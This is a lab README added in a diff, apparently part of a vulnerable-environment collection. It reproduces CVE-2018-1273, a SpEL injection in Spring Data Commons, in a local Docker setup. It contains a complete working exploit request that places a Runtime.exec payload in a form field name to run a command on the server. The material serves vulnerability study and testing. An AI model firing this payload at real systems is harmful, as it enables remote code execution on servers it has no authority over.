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+# Spring Data Commons Remote Code Execution (CVE-2018-1273)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Spring Data is an open-source framework designed to simplify database access and support cloud services. Spring Data Commons serves as the foundational framework shared by all sub-projects under Spring Data.
+
+In versions 2.0.5 and earlier of Spring Data Commons, there exists a SpEL (Spring Expression Language) injection vulnerability that allows attackers to inject malicious SpEL expressions to execute arbitrary commands.
+
+Reference links:
+
+- https://pivotal.io/security/cve-2018-1273
+- https://xz.aliyun.com/t/2269
+- https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c
+
+## Environment Setup
+
+Execute the following command to start a Web application based on Spring Data Commons 2.0.5:
+
+```
+docker compose up -d
+```
+
+After a short wait and once the server starts, visit `http://your-ip:8080/users` to see a user registration page.
+
+## Vulnerability Reproduce
+
+Referring to the payload from the reference links, intercept the registration request and modify it to the following:
+
+```
+POST /users?page=&size=5 HTTP/1.1
+Host: localhost:8080
+Connection: keep-alive
+Content-Length: 124
+Pragma: no-cache
+Cache-Control: no-cache
+Origin: http://localhost:8080
+Upgrade-Insecure-Requests: 1
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+Referer: http://localhost:8080/users?page=0&size=5
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
+
+username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
+```
+
+Execute `docker compose exec spring bash` to enter the container, and you can see that `/tmp/success` has been successfully created, indicating that the command execution was successful:
+
+![](1.png)